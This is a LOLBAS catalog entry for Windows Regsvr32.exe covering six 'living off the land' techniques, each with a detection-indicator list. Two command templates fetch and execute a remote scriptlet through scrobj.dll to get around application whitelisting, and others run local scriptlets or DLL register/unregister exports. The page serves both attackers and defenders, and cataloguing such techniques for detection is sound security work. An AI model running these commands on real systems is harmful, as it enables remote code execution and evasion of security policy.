Catalog LOLBAS

LOL · Binary

Regsvr32.exe

6 techniques WindowsLOLBAS GPL-3.0

AWL Bypass

AWL / Policy Bypass Windows

Execute the specified remote .SCT script with scrobj.dll.

Use Execute code from remote scriptlet, bypass Application whitelisting

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
Context
user
Native
AWL Bypass
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

AWL Bypass

AWL / Policy Bypass Windows

Execute the specified local .SCT script with scrobj.dll.

Use Execute code from scriptlet, bypass Application whitelisting

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
Context
user
Native
AWL Bypass
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

Execution Windows

Execute the specified remote .SCT script with scrobj.dll.

Use Execute code from remote scriptlet, bypass Application whitelisting

regsvr32 /s /n /u /i:{REMOTEURL:.sct} scrobj.dll
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

Execution Windows

Execute the specified local .SCT script with scrobj.dll.

Use Execute code from scriptlet, bypass Application whitelisting

regsvr32.exe /s /u /i:{PATH:.sct} scrobj.dll
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

Execution Windows

Execute code in a DLL. The code must be inside the exported function `DllRegisterServer`.

Use Execute DLL file

regsvr32.exe /s {PATH:.dll}
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log

Execute

Execution Windows

Execute code in a DLL. The code must be inside the exported function `DllUnRegisterServer`.

Use Execute DLL file

regsvr32.exe /u /s {PATH:.dll}
Context
user
Native
Execute
Detection
IOC: regsvr32.exe retrieving files from Internet
IOC: regsvr32.exe executing scriptlet (sct) files
IOC: DotNet CLR libraries loaded into regsvr32.exe
IOC: DotNet CLR Usage Log - regsvr32.exe.log